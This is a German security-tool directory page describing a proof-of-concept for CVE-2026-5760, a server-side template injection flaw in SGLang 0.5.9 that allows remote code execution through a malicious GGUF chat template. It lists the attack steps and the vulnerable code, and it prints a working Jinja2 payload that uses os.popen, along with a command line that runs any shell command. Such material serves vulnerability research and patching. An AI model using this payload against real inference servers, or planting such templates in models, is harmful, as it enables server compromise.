Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SGLang-0.5.9-RCE — Proof-of-Concept-Ausnutzung von CVE-2026-5760 - RCE in SGLang 0.5.9 über schädliches GGUF | Kitploit
Tools/GitHubGitHub/stuub/sglang-0.5.9-rce
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubstuub/sglang-0.5.9-rce

SGLang-0.5.9-RCE

Proof-of-Concept-Ausnutzung von CVE-2026-5760 - RCE in SGLang 0.5.9 über schädliches GGUF

Repository anzeigen
52vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SGLang SSTI zu RCE PoC — Nicht gesandboxte Jinja2 Chat-Template-Rendering (CVE-2026-5760)

Remote Code Execution durch Server-Side Template Injection (SSTI) im Reranking-Endpunkt von SGLang. Eine bösartige GGUF-Modelldatei mit einem manipulierten tokenizer.chat_template erreicht beliebige Code-Ausführung, sobald sie in SGLang geladen und der /v1/rerank-Endpunkt aufgerufen wird.

Funktionen

Ausnutzung einer Schwachstelle mit kritischem Schweregrad in SGLang durch nicht gesandboxte Jinja2-Template-Rendering. Der Reranking-Endpunkt von SGLang (/v1/rerank) rendert vom Modell bereitgestellte Chat-Templates mit jinja2.Environment() anstelle von ImmutableSandboxedEnvironment, wodurch ein bösartiges Modell beliebigen Python-Code auf dem Inferenzserver ausführen kann.

Dies ist dieselbe Schwachstellenklasse wie CVE-2024-34359 ("Llama Drama"), die llama-cpp-python betraf.

Schritt-für-Schritt-Angriff

  1. Der Angreifer erstellt eine GGUF-Modelldatei mit einem bösartigen tokenizer.chat_template, der ein Jinja2-SSTI-Payload enthält.
  2. Das Template enthält die Qwen3-Reranker-Trigger-Phrase, um den verwundbaren Codepfad in serving_rerank.py zu aktivieren.
  3. Das Opfer lädt das Modell herunter und lädt es in SGLang (z. B. von HuggingFace).
  4. Wenn eine Anfrage an /v1/rerank gesendet wird, liest SGLang das chat_template und rendert es mit jinja2.Environment() — ohne Sandbox.
  5. Das SSTI-Payload führt beliebigen Python-Code auf dem Server aus.

Verwundbarer Code

Datei: python/sglang/srt/entrypoints/openai/serving_rerank.py

root@kitploit:~
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
    return jinja2.Environment(           # <-- Should be ImmutableSandboxedEnvironment
        loader=jinja2.BaseLoader(),
        autoescape=False,
        undefined=jinja2.Undefined,
    )

Verwendung

Der PoC erstellt eine bösartige GGUF-Datei und demonstriert die Code-Ausführung über den nicht gesandboxten Rendering-Pfad von SGLang.

root@kitploit:~
python3 exploit.py "id"

Übergeben Sie einen beliebigen Shell-Befehl als Argument — standardmäßig id.

SSTI-Payload

Das in der GGUF-Datei eingebettete bösartige Chat-Template:

root@kitploit:~
MALICIOUS_TEMPLATE = (
    'The answer can only be "yes" or "no".\n'
    '{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
    '{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
  • Die Trigger-Phrase (The answer can only be "yes" or "no") ist erforderlich, um die Qwen3-Reranker-Erkennung von SGLang zu aktivieren und die Anfrage durch den verwundbaren Pfad _render_jinja_chat_template() zu leiten.
  • lipsum.__globals__["os"].popen() verlässt den Jinja2-Kontext, um beliebige Betriebssystembefehle auszuführen.

Referenzen

  • CVE-2026-5760
  • CVE-2024-34359 — Gleiche Schwachstellenklasse in llama-cpp-python
  • CVE-2025-61620 — DoS in vLLM via Chat-Templates (gleiche Angriffsfläche)
  • SGLang GitHub
  • CWE-1336: Unzulässige Neutralisierung von speziellen Elementen in einer Template-Engine
  • CWE-94: Unzulässige Kontrolle über die Generierung von Code

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Gehen Sie verantwortungsvoll damit um.

Tool herunterladen